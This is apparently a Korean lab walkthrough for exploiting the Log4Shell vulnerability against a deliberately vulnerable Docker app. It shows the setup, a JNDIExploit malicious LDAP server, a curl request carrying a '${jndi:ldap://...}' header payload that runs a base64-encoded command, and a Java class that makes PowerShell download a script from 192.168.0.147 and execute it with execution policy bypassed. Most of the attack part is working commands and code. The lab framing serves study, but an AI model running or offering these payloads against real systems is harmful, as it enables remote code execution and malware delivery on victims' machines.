0) 환경구성
0.1)운영체제
•
공격자 : Ubuntu 20.04.1 LTS
•
피해자 : Docker Alpine Linux 3.8.2 (공격자 pc에서 도커로 구성)
0.2) 필요 패키지 설치 (SSH, JDK(8 버전), unzip, Docker, curl)
•
패키지 설치
sudo apt update
sudo apt install -y openssh-server openjdk-8-jdk docker.io unzip curl
Shell
복사
•
서비스 실행 및 버전 확인
sudo service ssh start
sudo service docker start
sudo systemctl enable docker
java -version
Shell
복사
1) 피해자 환경 구성
1.1) Docker 활용 가상환경 생성
•
도커 이미지 파일 다운 및 실행
sudo docker pull ghcr.io/christophetd/log4shell-vulnerable-app
sudo docker run -itd --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
Shell
복사
•
정상 실행되면 아이디 같은게 뜸
•
환경 확인
sudo docker exec -it vulnerable-app /bin/sh
ls -al /tmp
Shell
복사
해당 위치에 원격코드실행을 통해 파일 생성 예정
2) 공격자 환경 구성
2.1) 악성 LDAP 서버 설정
•
로컬의 JNDIExploit 도구를 우분투로 이동
•
로컬의 cmd 실행
scp C:[파일경로]JNDIExploit.v1.2.zip <계정>@<IP>:/home/<계정>/
예시
scp C:\Users\yu379\Downloads\JNDIExploit.v1.2.zip luckey@192.168.0.137:/home/luckey/
Shell
복사
•
‘yes’ or ‘no’ 나오면 yes 입력
•
로그인 요구하면 우분투 계정 로그인
•
압축풀기
unzip JNDIExploit.v1.2.zip
Shell
복사
2.1) tmux 실행
•
tmux로 세션을 3개 생성
tmux
ctrl+b, c
ctrl+b, c
Shell
복사
2.2) 서버 실행
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <ip> -p 8888
Shell
복사
3) 익스플로잇 트리거
3.1) 세션 2에서 공격코드 실행
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://<ip>:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
Shell
복사
•
세션 1에서 서버 동작 확인
4) 결과 확인
4.1) 세션 3에서 도커 진입, 결과 확인
docker exec vulnerable-app ls /tmp
Shell
복사
•
원격코드가 실행되어 파일이 생성된 것을 확인할 수있음
import java.io.IOException;
public class Log4jRCE {
static {
try {
// PowerShell command to download and execute the script
String command = "powershell.exe -Command \""
+ "$tempPath = [System.IO.Path]::Combine($env:USERPROFILE, 'AppData', 'Local', 'Set-Wallpaper.ps1'); "
+ "Invoke-WebRequest -Uri 'http://192.168.0.147:7979/Set-Wallpaper.ps1' -OutFile $tempPath; "
+ "powershell.exe -ExecutionPolicy Bypass -File $tempPath\"";
Process process = Runtime.getRuntime().exec(command);
process.waitFor();
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
// main method
}
}
PowerShell
복사